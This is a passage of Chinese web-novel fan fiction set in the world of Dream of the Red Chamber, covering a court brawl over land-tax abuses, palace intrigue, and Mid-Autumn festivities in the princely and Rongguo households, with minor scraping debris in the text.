这会儿身边的同僚都在卖力地冲锋,林如海却是进退两难,也亏得他官微职小,要不是这会儿是大朝会,他连参加的资格都没有,因此,只得躲在角落里,心中暗暗埋怨,自己的岳家真的是不够意思,你们勋贵想要搞事,就不能提前跟我通个气吗?还当不当我是女婿了! 林如海压根没想到,贾家根本不知道朝堂上会有这回事。贾赦和贾政都没多少政治敏感性,哪怕张氏每每催促贾赦多看邸报,但是之前那场舞弊案根本没有尘埃落定,以至于邸报上只是略微提了几笔,外头闹得沸沸扬扬,贾家却只当个乐子在看,压根没想到这事居然已经成了文武相争的导火索。 他们自个都是一头雾水呢,怎么可能跟林如海通气。 瞧着朝堂上乱成一团,甚至都要开始上演全武行了,圣上却丝毫没有干涉的意思,他老神在在地坐在龙椅上,冷眼看着下头原本衣冠楚楚的文武官员们这会儿撸起袖子,唾沫四溅,有几个武将直接脱了靴子,就往文官那边丢了过去。文官那边也没好到哪儿去,别看他们口口声声“君子动口不动手”,到了这个时候,也一个个抄起笏板,加入到了这场群殴之中。 等着下头火气越 来越大,眼看着都要血溅朝堂,圣上才使了个眼色,站在一边的戴权立马就尖声喝道:“肃静!”这边说着,又有小太监敲响了旁边悬挂的玉钟,几下之后,顿时将那些已经有点上头的官员给惊醒了,连忙整理衣冠,那几个连靴子都丢出去的武官也跑过去捡靴子,期间又趁机下了几次黑手,这才得意洋洋地回到队列里头将靴子穿好。 “安静下来了?”圣上冷飕飕地开口道。 即便是那些自以为得了圣意的武勋们,这会儿听到圣上的声音,也有些心里发怵,君前失仪是一个很严重的罪名,只要圣上将这事给放到台面上,直接就能叫大汉将军们将他们拖下去在门口打板子,打死都不带冤枉的,也只能盼着法不责众。 好在圣上本意就是想让武将将文官们愈发嚣张的气焰压下去,因此,并没有在此事上深究的意思,他环顾了一下玉阶下的文武官员们,冷笑道:“朕倒是不知道,这朝堂上竟是这般人才济济,你们眼里还有朕这个皇帝吗?” 下头顿时跪了一地:“臣等不敢!” 四个异姓王有三个在外镇守,另一个北静王,因为娶了公主,勉强也算是宗室的一员,这些年也很少上朝,牛继宗如今就是实质意义上的武勋之首,这会儿也不能再缩在后头,而是出列说道:“圣上,臣以为,这些文官其实就是在搅混水,想着将整顿吏治的事情拖延过去,实在是其心可诛!” 圣上看着牛继宗,轻哼了一声,问道:“那你觉得应该如何啊?” 牛继宗杀气腾腾地说道:“陛下,臣的老祖宗当年有幸,跟着太祖皇帝推翻了前朝,解民倒悬。老祖宗从龙之前,也是小康人家,却被地方上的豪绅逼得揭竿而起,可见,若是叫地方上这些豪绅与官府勾结起来,会是何等模样!臣以为,此事不能放纵!” “胡说,你们牛家难道就干净到哪里去了!”礼部侍郎陈敬顿时忍不住了,也跟着出列,说道,“地方上那些乡绅多为良善之辈,若非他们教化乡里,造福一方,也难有如今这般盛世。那等劣绅不过是害群之马,还望圣上明鉴,不要被奸人蒙蔽,以至于酿成大错啊!” 牛继宗冷笑一声,说道:“陈大人,你敢作保吗?若是查出来,地方上那些士绅多有不法之处,陈大人与之同罪,如何?” 牛继宗之前先排查了一下自个家里,牛家祖籍在闽地,闽地那边地少人多,还多是山地,牛家一开始也不是什么大族,发迹之后,只在闽地留了一支祭祖,其他人都搬到京中来了。自然也没欺压良善,横行一方的资本。当然,族人一多,难免良莠不齐,不过,京中这边有主家约束,本身又权贵众多,牛家族人也还算安分守己,相比较起来,地方上那些士绅,嘴上亲亲善善,实际上一个个吃人不吐骨头! 话都已经说到这里,陈敬却不敢真的作保,他如今已经年近六十,要不是去年宫变,朝堂上清洗了大批官员,他也坐不到如今这个位置。他也是寒门出身,从小显露了读书的天分之后,家里四房人勒紧了裤腰带供他读书。而从他考中秀才之后, 家里就跟着得了好处。原本一个秀才,只能是本人不用服徭役,名下也有三十亩地不用再交赋税。但是,上有政策下有对策,实际在征收粮税的时候,有功名的人名下的地是都不用交税的。 因此,陈敬考中秀才之后,不仅陈家四房不再需要交粮税,连同族里也将一部分地记在了陈敬名下。而等到陈敬考中举人之后,不仅族里的土地都记在了他名下,乡里又有许多人家过来投献,等考中了进士,做了官,那就更不得了了。而借助投献的机会,陈敬乃至陈家一族趁机不知道吞并了多少田地,将许多良民彻底变成了陈家的佃户。这些原本只想要托庇在陈敬名下,好不用再给朝廷交税服役的百姓,很快就沦落到了要缴纳比以前田税更多的租子,连同身家性命也不得自主的地步,有想反悔的,立马就遭到了陈家的报复。 这些事情,陈敬有的知道,有的不知道。但是这种“投献”、“诡寄”之事实际上是律法上明确认定为非法的,光是这一项,就是一桩大罪过。而朝堂上这些官员,又有几个家里没干这等事情呢?只要一查,那就是一个准。陈敬这点小身板,可扛不住这等罪名。 圣上一看陈敬的模样,就知道这位屁股也不干净,顿时冷笑一声,然后说道:“横竖清者自清,那还怕什么呢?” 圣上也不想真的将下头这些文官逼急了,毕竟开国这么多年,文官在朝堂和在地方上已经有了相当大的影响力,他们若是一同抗拒什么事情,你想要办成,那肯定不容易。 圣上也这把年纪了,不乐意回头在史书上留下一个暴戾的名声,因此,只是说道:“朕有意重启京察,吏部对地方官员严格考察,追究地方上不法劣绅,须得证据确凿,若有罗织罪名,刻意陷害之处,以诬陷反坐论处!” 这也算是圣上对文官的妥协,还是让文官查文官,因此,这话一出,原本还担心圣上大开杀戒的文官们这会儿都忍不住放下心来,高声呼道:“圣明无过于圣上!” 圣上自嘲地摇了摇头,然后冷声说道:“尔等如今高居朝堂,也该偶尔低下头去看看,底层的百姓是个什么样子。真要是弄得天怒人怨,自有天街踏尽公卿骨的一天!”说着,圣上连退朝都不说,直接拂袖而去! 一帮勋贵原以为能将文官们好好打压一番,哪知道最后竟是这个结果,不由有种拳头打在棉花上的感觉,别提有多郁闷了,不过,他们也没有沮丧,而是不怀好意地对着那些文官挥了挥拳头,冷笑道:“你们这些伪君子,如今真面目可算是露出来了,等着瞧吧!” 那些文官看着这些恶狼一样的目光,心中也是有些烦躁,这些勋贵武将也是来自四面八方,只要他们有心,在地方上也能具备相当的影响力,他们若是叫人盯着地方上的动静,回头在朝堂上掀了盖子,几次三番之下,圣上就算再有耐心,也总有忍不住的时候。 至于说什么先揪出勋贵武将的不法之事,难倒是不难,但他们未必承担得起彻底撕破脸的代价,毕竟,上次王家的事情就告诉他们,圣上只是想要敲打一下那些武勋 ,却没有真的将他们压下去的心思。因着宋明两代的经历,老徒家可不乐意再看到什么以文御武德事情,文武并重才是正道,哪怕没什么外患的情况下,也得撑住武将这边的架子,不能真叫他们倒了! 一帮文官倒也没有气馁,这等事情,他们有的是经验,也有的是耐心。别的不说,只要少打几次仗,当武勋中能征善战的那批人随着时间老去,他们的那些子孙又有几个能提得起来呢?甚至,不少勋贵人家都有转型的心思,只要文官这边伸出去一根橄榄枝,这些人只怕就会背叛武勋这个团体,成为他们手中的棋子。 圣上未必不明白这一点,但是他终究是老了,但凡他年轻二十岁,都会举起屠刀,杀个血流成河。 圣上意识到这一点之后,人已经到了甄贵妃宫中。虽说给儿子谋求太子之位没有成功,但是甄贵妃在后宫的地位却不容动摇,她依旧是宫里地位最高的宠妃,瑜妃那里,圣上去的次数并不多。 甄贵妃或许在政治上很幼稚,但是论起后宫争宠的能力,那是没的说的。哪怕心里将圣上抱怨了百十遍,在圣上面前,甄贵妃也一直是一副温柔和顺的模样,就算偶尔有些小别扭,那也是小女儿式的撒娇,完全是一种情趣。如此,在圣上那里,她才能盛宠不衰。 像是这会儿,圣上自觉自己老了,几乎是下意识到了甄贵妃这里。 甄贵妃这会儿也年近三十,但是保养得很好,看着依旧是如同二十出头的模样,娇俏动人。瞧见圣上过来,甄贵妃就上前行礼,她依旧喜欢穿鲜艳的衣裳,这会儿穿着一身珍珠红织金撒花褙子,下面是一条绣着折枝玉兰的石榴裙,看着如同娇花一般,只一见,就叫人觉得心情愉快起来。 圣上笑着扶起甄贵妃:“都说了,不必这般多礼!今儿个在宫里干什么了?” 甄贵妃在圣上那里,明面上就是个傻白甜,这会儿笑嘻嘻地说道:“臣妾带着人正在挑料子呢,这差不多入秋了,下头刚送了今年的份例上来,臣妾一个人也穿不了那许多,留着平白放着也是糟践了,所以,就给下头人分一分,就算在宫里穿不了,也能攒起来当嫁妆!” 甄贵妃那真的是金尊玉贵养大的,甄家在她身上,物质生活可从来没有匮乏过,可以说,皇家养一个公主也不过如此。因此,甄贵妃也从来不知道节俭是何物,出手素来大方,这也是她在下头宫人那里口碑不错的缘故,谁不喜欢一个慷慨的主子呢? 甄家做过织造,甄贵妃一直穿的都是上用的料子,内务府送过来的这些,有的还不如甄家私底下孝敬的,所以,甄贵妃干脆就将自个看不上的全给分了。 不过当着圣上的面,甄贵妃肯定是不能这么说的,她笑道:“我还给皇爷您选了两匹料子,您也来看看!” 甄贵妃给圣上选的料子一个是宝蓝色流云福花样织锦,一个是绛红福寿绵长团花锻,她也是深谙圣上的心理,到了圣上这个年纪,最想要的就是一个长寿,所以,给圣上的东西都以类似的纹样为主,而且也不选那等暗沉老气的颜色。 果然圣上一看就笑道:“爱妃一看就是老夫人带大的,眼光就是好!朕小时候的衣裳,也都是老夫人帮着打理搭配,穿出去都精神得很!” “皇爷本就龙章凤姿,穿什么都精神!”甄贵妃恭维道。 “不行啦,老啦!”圣上看看自己凸起来的肚子,忍不住摇了摇头。 甄贵妃忙说道:“皇爷您这话说的,您要不是蓄了胡子,现在出去,谁不说您就三十出头啊!臣妾都想着,再有个几年,臣妾人老珠黄了,跟在圣上旁边,都不配了!” 见甄贵妃摆出一副失落的模样,圣上拉着甄贵妃的手,笑道:“爱妃未免太妄自菲薄了点,便是再有十年二十年,爱妃在朕眼里也是美貌如初!” “皇爷就会哄臣妾,到时候臣妾儿媳妇都进门,只怕孙子都有了,再在皇爷您这边撒娇,那不跟妖怪差不多!”甄贵妃嗔道。 圣上原本的坏心情在甄贵妃的软语娇嗔中消失得无影无踪,他揽着甄贵妃的香肩,坐在榻上,笑吟吟地与她说着闲话,甄贵妃瞧着圣上心情好,便又跟圣上说起了徒宏憬的事情。 她也不说徒宏憬功课如何,只说徒宏憬顽皮,之前跑过来,还跟她闹着要宫牌,想要出去玩。 “他这么大孩子,在宫里的确也是待不住,出去多带几个人便是,你给他了吗?”圣上对小儿子都比较宽容,不由笑道。 甄贵妃白了圣上一眼,看着却更像是抛了个媚眼,嘴里说道:“哪能呢,这出宫的事情,臣妾怎么着也得先问过您再说!何况,他小孩子家家的,出宫能干什么!” “爱妃你要是不放心,就先问清楚便是,他也不能算小了,有点自己的想法也是正常!”圣上对此不以为意,“正好今儿无事,不如等他下了学,叫他过来,咱们一块问问再说!”! 第 62 章 徒宏憬的应对很加分,他表示,马上就是中秋节了,他觉得宫里那些东西都是父皇母妃你们给的,作为礼物很没有诚意,想要出宫淘换一些,作为节礼。 哪怕不是在皇家,孝顺也是个加分项,因此,圣上自然是大手一挥,准了他的请求。 甄贵妃徒宏憬母子对视一眼,都眉眼含笑,心中愈发生出笃定之感。到了这个时候,他们已经意识到,立储这种事情,归根结底看的是圣上的心意,别的地方只是加分项,而圣上却有一票否决权。所以,先老老实实做个孝顺儿子,是怎么也不会错的。 宫里已经开始为中秋节做准备,外头自然也不例外。 平王府里,各处已经开始给外窗糊上窗纸,白天的时候将外窗支起,风可以透过窗纱吹进屋里,到了晚上,就将外窗放下,免得外头的寒气进来。 如今透明的玻璃都是舶来品,便是宫里也没能都用上,平王府自然不会冒这个尖。顾晓对于玻璃窗也没什么执念,纱窗也不影响采光,还能给视野带来一种朦胧的美感。至于说什么研究国有玻璃配方什么的,作为懒人,顾晓是不会出这个头的,外头琉璃厂不知道有多少聪明人,研究这事呢,她等着用现成的就是!她若是个男人,倒是可以研究这些,可如今,她就是个生活在深宅大院的女人,跑去从事这种与女红无关的奇技淫巧,外头那些卫道士的口诛笔伐可不是一般人能受得了的。回头若是再有人往什么孤魂野鬼附身上头想,顾晓便是皇家的媳妇,那也完蛋了! 因此,她来了这一年多,给王府带来的变化无非就是菜式多了些,玩具多了点,都是只需要她动嘴,不用她多费心的事情。最多就是买了两个窑口,叫人烧了一批骨瓷出来,却也没用上。顾晓本就是道听途说了一把,只知道是用牛骨粉,也搞不清楚骨瓷的配方,只能叫下面的窑工自个尝试,如今制作出来的骨瓷的确比以前更硬也更薄,但论起精美,比起柴窑汝窑来,还差了不少,需要进一步调整配方。 这个以后可能会成为民窑中的精品,但若是拿来作为同阶层之间使用,就显得有些不太好,顾晓自个不在意,可骨粉一烧就是骨灰,用作茶具餐具什么的,放在这个年代,难免叫人觉得有些膈应。 眼看着回头就该往各处送中秋节礼,便是宫里也不能落下,顾晓便也开始准备了起来。 这年头月饼花样已经很多,王府又在孝中,不好再标新立异,免得叫人觉得你们在家守孝只想着吃,可见不诚心。因此只叫厨房做了传统的几l种月饼,用油纸包好,写上口味,放到攒盒里,到时候连同其他一起送出去。 因着今年庄子上瓜果丰收,节礼里面便都添了自家产的各项瓜果,如葡萄、西瓜、柿子,又在市面上采买了苹果、白梨之类,看着也是琳琅满目,足显诚心。 隔壁雍王府离得最近,自然是除了宫里之外,第一批收到节礼的,雍王妃一看礼单,便是一笑,忙吩咐孙嬷嬷道:“嬷嬷,平王府的节礼,你亲自送过去,就跟太妃说,等他 们府上除了服,咱们妯娌再好好聚一聚!” 雍王府的节礼与往年相比,还略厚了一些,里头最难得的竟是有一篓子桃子。 顾晓看着有些惊讶,放在后世,想要吃桃子,什么春桃、冬桃,只要肯花钱,一年四季都能吃上,可如今在中秋前后能吃上桃子,那可不是什么容易的事情。 孙嬷嬷有意给自家王妃表功,笑道:“这桃子是我家娘娘专门找了一家桃园订下来的,那家桃园之前专门从洛阳买来的桃树,以前叫做王母桃的,试种了许多年,才有了如今这个桃种,能从七八月份一直熟到九月份,不过桃子产得也不多,几l乎每年开春就被包圆了,要不是我们娘娘托了人,还真订不到。” 按理说,有这样出名的桃子,顾晓这样的出身应该听说过,只是原身真没这个记忆,顾晓也不以为意,笑道:“倒是我孤陋寡闻了,之前竟是没听说,却是劳烦四嫂费心,叫我也有口福!”说着,又叫人给孙嬷嬷拿了一等的赏封,这才将人送走了。 等着孙嬷嬷走了,吴嬷嬷才说道:“这桃园我倒是曾经听说过一些,原本是某位王爷的产业,后来这个王爷坏了事,这桃园就不知道后来落到谁手里了!原本以为是内务府收了,如今看起来,却是不像!” 顾晓笑道:“管他呢,既然咱们知道了,回头咱们也去订一些,估摸着他们也不肯卖树苗,要不然咱们自家也能种一些!”实际上从这个也知道,这桃园的新主人手眼通天,大家觉得犯不着为了几l个桃子得罪他,要不然的话,若是平常人,京中那么多权贵,谁还在乎这个,就算不能买树苗,砍几l根树枝回去嫁接,也不是什么难事,偏生还一直叫人家赚这个钱。像是雍王妃堂堂一个亲王妃,想要买,还得托关系才行。 不过雍王妃肯这般费心,大概也是因着之前那件事,算是投桃报李,顾晓心中一定。她之前仔细回忆红楼里的剧情,便有些疑心,下一任皇帝只怕便是这位雍王,不管最后是不是,先结一番善缘,总归是不会错的。 顾晓也不会刻意阿附,只需要在日常往来中表现出一定的亲近就行,她一个没了丈夫,儿L子还小的寡妇,就算是跟某个嫂子走得近一点,也不会给人什么不恰当的联想。这宗室里头,也不是什么伊甸园,报团取暖的多的是,不差他们两家。 吃吃喝喝的闲散生活也过得飞快,中秋前一日,季先生就给两个学生放了假,他颇有些名士风范,也不留在王府,干脆带着老妻去城外红叶寺拜佛,参加红叶寺的中秋祈福法会,顺便尝一尝红叶寺的素月饼。 贾瑚也是归心似箭,总是看着徒嘉钰炫自个的弟弟,如今听说自家弟弟已经开始学着说话,如今恨不得立马飞回去,让弟弟赶紧学会叫哥哥才行,免得自己这个哥哥长期不在,让弟弟被贾珠元春抢了去。 实际上贾珠和元春如今压根见不到贾琏,之前贾珠因为读书压力大病了一场,便是贾政这个望子成龙的,也不敢刻意逼迫,毕竟,他到现在就贾珠一个儿L子,日后就算再有生育,那也不是嫡长子,不能 跟贾珠相提并论。 至于王氏,因着之前拉着贾珠和元春各种哭诉的事情,被贾史氏说成是得了癔症,直接关在自个院子里养病。 王氏生怕自己从养病便病逝,如今非常老实,虽说不至于每日里吃斋念佛,但是早晚必定要颂一遍经,佛珠不离手,人看着也是一副慈悲为怀的模样。 加上她虽说嫁妆缩水了一大截,可管家这么多年,也中饱了不少私囊,她那些陪房下人跟她也是一荣俱荣一损俱损,到了这个时候,也不能光顾着自个的利益,一个个想尽办法到处活动,在贾史氏和贾政的下人那里敲边鼓。 说法也很简单,真要是换一个二太太,人家还乐意跟大房对着干吗?何况,贾政如今这个情况,能娶什么样人家的女儿L,要是娶回来一个搅家精,反倒是不好。 而留着王氏,贾珠和元春的地位就不会受到动摇。王家虽说已经失势,但三十年河东,三十年河西,王子胜是个废物点心,据说如今在西北那边每日里醉生梦死,只怕用不了多久就能将自己喝死,但是王子腾却已经在西北打开了局面,如今已经是个小队正,只要再立下一些功劳,就是正经的军官,也算是说得过去。 贾史氏本也不是什么杀伐决断的性子,她原本打算在自个娘家给二儿L子寻个继室,但是史家那边委实寻不到合适的人选,那等已经落魄了的旁支,就算占了一个史字,贾史氏又看不上。这般一算,贾史氏觉得王氏居然还算是不错,只得暂时忍耐下来。 总之,如今的荣国府,看似是二房当家,实际上,真正的权力已经落到了大房手里,二房拿着的不过是一些看似光鲜,实际上无关紧要的活计。连同公库,都被贾赦找了个借口,给封了起来,表示王家一脉相承的损公肥私,再叫王氏管着公库,只怕回头库里就能空得跑耗子。与其到时候再掺杂不清,不如现在就杜绝。 至于王氏管着荣国府,钱从哪里来,自然是从荣国府各项收成上来,荣国府还有不少庄子爵产,以前的收成不仅能供一大家子花销,还略有盈余,怎么轮到王氏就不行了? 王氏又不是什么精明强干的人,以前无非就是有个公库供她收买人心,崽卖爷田不心疼,她还能落下不少,可如今贾赦直接断绝了这条路子,让她靠着各处产业的收成来持家,这就快坑死她了。 贾政是个好附庸风雅的,他现在还没去工部当差,自然也没有俸禄可言,就算是有,他那点子俸禄还不够他吃茶的。他按例每个月也有个三十两银子的月钱,这也只能是零花钱,他要养清客相公,要赏鉴古籍书画,哪一样都不是能省得下钱来的。贾政一额外花了钱,贾赦就跟嗅觉敏锐的猎犬一样,立马就要找个借口,同样来公中支一笔钱回去,至于这笔钱花在何处,王氏也不敢说,也不敢问,只得捏着鼻子当做不知道。 像是贾史氏那边,更是奢侈惯了的,光是每日里的吃食,就不知道要耗费多少钱财。加上下头人还得见缝插针捞一点油水,王氏才管了一阵子家,就恨不得立刻回去养病,可惜的是,她明白,自 己要是连这点事情都搞不定,那么,贾史氏肯定是要让她把位置腾出来的,她只能是咬牙勉力支撑。 如今中秋,虽说还在孝期,贾史氏却是个好热闹的,不肯简办,便避开十五这个正日子,选了前一天过节。还得一家子团团圆圆,除了已经跑去玄真观修道的贾敬,连同贾敬媳妇和贾珍,都一并叫到了荣国府。要不是林如海不乐意掺和,她连贾敏两口子都想一块儿L叫回来。 宁国府那边固然会孝敬一下贾史氏,但那也就是一些月饼瓜果,能值个什么。贾史氏只管开口,说中秋佳节,要给下头下人也添点喜气,哪怕不发钱,也得发一身衣裳,伺候的下人起码有名有姓的那种,每人分一两个月饼不嫌多吧!这么一算,王氏就忍不住想哭。 大房那边如今就在看二房的笑话,哪怕王家已经掉到了泥里,张氏依旧没有谅解王氏,她不会对王氏下手,但是看到王氏倒霉,她回来都能多吃半碗饭。 张氏如今只需要管着大房这边的事情,尤其还不用她掏钱,正常的开销都走荣国府的公账,如此自然省心省事。贾史氏要一家团圆,大房事先已经孝敬了一些月饼还有菜肴,这会儿L只需要带着几l张嘴过去就行。 王氏已经先带着贾珠和元春到了荣庆堂,瞧见贾赦和张氏两口子同样带着贾瑚贾琏两个孩子过来,心中愤愤,但是面上还是挤出了一个笑容,过来给贾赦和张氏夫妻行礼。 贾赦懒得理会王氏,张氏打量了王氏一番,王氏这些日子心力交瘁,即便用了一些脂粉,依旧能看出脸上的黑眼圈和眼袋,她摆出一副关切的模样:“弟妹这些日子辛苦了,也该好生歇一歇才好!” 王氏咬着牙,勉强说道:“都是伺候老太太,谈什么辛苦!”却绝口不提让张氏管家的话,她如今就这么一点价值了,要是再办不好,那在荣国府就真的连个下脚的地方都没有了。 张氏含笑说道:“弟妹素来孝顺,我是比不得的,今儿L个倒要享一享弟妹的福了!” 瞧着张氏言语间还要占自己便宜,王氏只气得肚子都疼,只得将视线转向了贾瑚,见贾瑚还是一副活泼可爱的模样,便说道:“我瞧着念书是件辛苦事,珠儿L之前都累病了,倒是瑚儿L看着还好!”意思就是贾瑚在外头根本没好好念书。 张氏根本不搭这个茬,只笑道:“他还小呢,就算科举不行,将来也还有份前程在,我是不想多逼迫他们哥俩的,只要能平安长大,我就阿弥陀佛了!” 王氏一听,就觉得张氏说的是府里的爵位,只愈发不满起来,她又有些笨嘴笨舌,再想说什么,却也无话可说,只得作罢。 妯娌两个你来我往了一番,里头贾史氏就当不知道。她现在可没有那等在府里一言九鼎的权威,贾赦几l番吵闹,算是将她作为荣国府太夫人的那点子超然也给打下去了。她如今只想着过自己的自在日子,不想将大房彻底得罪了。横竖她如今看王氏也不那么顺眼,因而王氏吃瘪,她是乐见其成。 等着几l个孙子孙女进来给她磕了头,她便 笑呵呵地每人赏了点东西,叫他们在自个身边坐下,拿了点心果子分给他们吃。 贾瑚对家里的点心果子兴趣不大,平王府那边如今做点心,讲究的是一个精致自然,其实就是向着低糖低脂的方向改良,尽可能使用食材本身的酸甜调味,而不再增加额外的糖分和油脂。 若是放在寻常百姓人家,大概都会觉得这样的改良根本就是多此一举,他们一年到头能摄入多少糖分和脂肪,根本都是一帮营养不良的,所以高油高糖的食物对他们来说才是最美味的。可无论是平王府还是荣国府,日常饮食就已经提供了足够多的营养,这等点心又不是正餐,无非就是嘴馋时候的小零食,那吃得清淡一些并没有坏处。平王府那边做的点心又精致好看,贾瑚吃习惯了之后,回来就觉得荣国府的点心略有些油腻,这会儿L拿着一个奶油炸的面果子,吃了一口便觉得有些腻味,干脆放了下来。 贾史氏也没注意到,而是拿了一个桂花糖蒸栗粉糕哄元春,见贾珠拿了个螃蟹小饺,便说道:“这里面是蟹黄蟹肉,略寒凉了些,你身子才好没多久,吃一个尝尝味便是,倒是可以吃几l个松瓤鹅油卷。” 贾珠连忙放下那个螃蟹小饺,谢过了贾史氏,然后拈了一个鹅油卷慢慢吃了起来。 张氏在一边看着忍不住撇了撇嘴,却也没吭声,一边王氏凑趣,说道:“老太太,这螃蟹小饺也就罢了,下头庄子上才送了许多螃蟹上来,说是比往年的还要肥嫩,今儿L席上老太太可得好好尝一尝!” 当着贾珠和元春的面,哪怕王氏这拍马屁都拍得不怎么到位,贾史氏还是愿意给她一个面子,笑道:“那我到时候可得吃两个,叫下头用姜丝烫了热酒上来,正好配着吃!” 王氏听得便应了一声是,然后得意地看了张氏一眼,张氏也当没看到,只是拿了银签子,叉了一块甜瓜送嘴里吃了,只叫王氏看得气恼,自己忙前忙后,倒是叫别人得了清闲。 这点眉眼官司,贾史氏看在眼里,也不放在心上,先带着两个儿L媳还有元春在荣庆堂外月台上祭祖拜月。都上香拜毕后,便张罗着叫人在花厅摆饭,因着人少,男女也不分席,只叫女眷坐在贾史氏近边,其他人往下首分坐,总算是凑够了一桌,看起来热闹了不少。 纵然内里有许多龃龉,但是这阖家团圆的日子,哪怕贾赦再腻味贾政,也得笑脸相迎,不仅如此,还得听贾史氏的吩咐,拿了汤碗汤匙来,行起了汤匙令。汤匙柄转向谁,谁要么说一首应景的诗,要么讲个笑话,讲不出来大人罚酒,小孩就罚喝一杯木樨露,不过就是玩乐一场。 贾珠自从那次高热之后,人就愈发沉默了起来,只是这会儿L人瞧见了多说贾珠稳重,有君子之风,自然没人会说什么煞风景的话,这会儿L跟大一点的贾瑚比起来,竟是显得有些木讷,王氏对此并无感觉,她自个就不是什么长袖善舞的性子,反而觉得贾珠这般正好。但是在贾政看来,就觉得自家儿L子比不得侄子,难免心中郁郁,要不是当着贾史氏的面,都想要教训贾珠几l句。 贾珠瞧见贾政的眼神,不免瑟缩了一下,正巧这会儿L汤匙柄转到了他面前,他原本脑子里还酝酿着几l句中秋诗,一时间却是一片空白,一个字也想不起来,不免有些羞愤,只觉其他人看自己的眼神都很是异样,似乎是在嘲笑自己,只觉天旋地转,不知身在何处。 而这会儿L原本大家等着贾珠念诗,却发现贾珠小脸发白,眼神都直了,不由吓了一跳,贾赦连忙问道:珠哥儿L可是之前受了凉,不如请太医回来看看吧! ?想看微云烟波写的《红楼太妃要躺平》第 62 章吗?请记住本站域名[( 贾政也有些担心,只是当着贾赦的面还得逞强,说道:“刚刚还好吃好喝的,怎么这会儿L就病了,只怕是胸中没有点墨,这会儿L傻眼了!” 贾史氏一听不乐意了,忙说道:“珠儿L是你儿L子,不是仇人,他是什么性子,你不清楚,最是要强不过的人,只怕是真不舒服!早知如此,不该在这花厅摆宴,小孩子家家的,身子弱,没得吹了风,冲撞了什么!”说着,忙叫人抱了贾珠,又掐了贾珠的虎口,发现他眼珠子又转动起来,这才松了口气,和声道:“珠儿L,你身子不舒服,怎地不早点说,快先带着你妹妹回屋里歇着,等后儿L个,咱们家还赏月呢,不差今儿L一天!” 贾珠这才回过神来,愈发羞惭起来,却不敢说自己当时就是一时紧张,把词给忘了,只得默认了自己不舒服,嗫嚅道:“是孙儿L不好,没有早说,扫了老太太的兴!” “你们好好的,我老婆子才好!”贾史氏固然也觉得有些扫兴,但还是那句话,想要玩乐什么时候不行,今儿L不行,十六也行,再不济,以后有的是年头,哪有把玩乐看得比儿L孙重要的,因此,安抚了贾珠一番,这场好不容易凑起来的团圆宴,就这么草草散了。 平王府那边,早早就说好了,十五的月亮十六圆,将拜月赏月的事情定在了十六,一大早,各处就开始热闹起来。! 第 63 章 去年除夕的时候,顾晓厌烦李氏,便叫各处自个过除夕,上半年端午,也没让大家凑一块,总不能到了中秋,还都分开,因此,早早便给各处传了话,十六在明霞亭拜月设宴,大家都可过来。 李氏如今也算是消停了,春天给宫里李才人送了一次衣裳,之后也没半点回音,她又不是真的很有孝心,以前李才人能让徒宏远更偏向自己,如今李才人难道还能叫王府分家的时候多给他们母子分什么东西不成? 她这大半年可是吃足了苦头,又是做针线,又是要吃斋念佛,总算是明白什么叫做胳膊拧不过大腿,老老实实给顾晓低了头。顾晓也不是什么穷追猛打的人,与其闹得不可开交,不如和和气气的,横竖李氏也不天天在自己面前晃悠,放她一马也无妨。 李氏服了软之后,日子便好过许多,听得要一起去明霞亭拜月赏月,便也来了兴致。 自徒宏远死后,她日子过得一团糟,如今总算是放开了胸怀,便叫丫头们开了箱子,给自己找衣裳。 原本女为悦己者容,李氏可是很久没好好收拾过自己了,这会儿揽镜自照,竟是发现眼角已经有了细纹,不由吓了一跳,连忙叫人拿了玉容粉过来修饰,等看不清楚细纹了,这才松了口气。 玉梅见李氏这般,也不多说,只是问道:“娘娘今儿个打算戴什么首饰?” 李氏早就戴烦了那些银饰,虽说做得也精美,但是都是那些花样,她想了想,便说道:“我记得之前有一副珍珠头面,就用那个吧!” 玉梅很快就将李氏的妆奁打开,很快就找到了李氏说的那套珍珠头面。 这套头面用的是南珠,珠子不算大,难得的是非常匀净,又都是那种柔和的奶油色,也没有做成什么凤凰模样,而是做成了玉兰花的款式,光是一看,就有一种江南美人的秀美风姿。 李氏看了一眼,叹道:“以后这套头面就多戴戴吧,再放下去,珠子都要发黄了!” 玉梅也不搭话,叫了玉桂过来,一起给李氏拆掉头上原本的首饰,换上那套珍珠头面,先是一根垂珠玉兰珠钗,又用几根米珠串的小花钗点缀在发间,又戴上一对垂珠耳坠,连领扣都换成了菊花纹嵌珍珠的,这会儿对着镜子照了照,便平添几分温婉的气质来。 李氏看着镜中似乎有些陌生的自己,不免怔忪了一会,就听玉桂说道:“这头面好,正称咱们娘娘,娘娘不如再换一身衣裳吧,要不然,这个领扣就显得太素了些!” 这边才换了衣服,徒嘉泽就从外头进来了,瞧见李氏的模样,不免高兴起来:“母妃,你今儿个比之前好看!” 李氏这会儿心情也很好,不由笑道:“你喜欢母妃打扮得好看吗?” 徒嘉泽理所当然地说道:“当然了,谁不喜欢好看呢!” 李氏听得一愣,忽然就觉得豁然开朗起来。王爷已经没了,自己也不能一辈子走不出来,往后还长着呢,总该好好过活才是,因此,便笑道:“那行,母妃以后天天好 好打扮,你也得穿得精神一些?_[(,别整日里跟个活猴一样!” 徒嘉泽以前身体不好,总是待在屋里,李氏那会儿觉得忧心,如今徒嘉泽身体日渐好了,每日里上蹿下跳,李氏又开始看不过眼起来。 徒嘉泽早就不怕李氏了,这会儿敷衍地应道:“母妃,我知道了!” 李氏无奈,只得叫人先端了水过来给徒嘉泽梳洗,头发重新扎了两个小揪揪,戴上一条蓝底卷草纹的抹额,再换了一身衣裳,衣裳倒是挺好,可是徒嘉泽之前夏天在院子里到处跑,晒得黑了一圈,到现在都没恢复,这会儿穿了一身鲜亮的衣裳,愈发显黑起来,李氏不由皱起了眉头,只得叫人再给徒嘉泽换一身,嘴里还絮叨起来:“我看今儿个就得跟太妃娘娘说,早点送你跟着你大哥读书去,省得每日里四处乱跑,没个消停!” 徒嘉泽才不想要读书,他之前跑前头去过一趟,看着徒嘉钰和贾瑚在那里写字,他都看烦了,他们还没停,顿时就吓住了,当下便抱着李氏的胳膊撒娇起来:“母妃,我还小呢,再等两年嘛!” 又想到奶娘丫头们说的话,跟着说道:“我又不要考科举,学那么多干什么?” 哪知道就像是后世家长将孩子送到培训班不是让他们勇争上游,而是为了解脱家长自己一样,李氏准备送徒嘉泽去读书,也不是为了让徒嘉泽如何,而是省得这小子每日里到处乱跑,晒得跟煤炭一样。 因此,任徒嘉泽如何软磨硬泡,李氏只不吭声,弄得徒嘉泽一脸不乐。 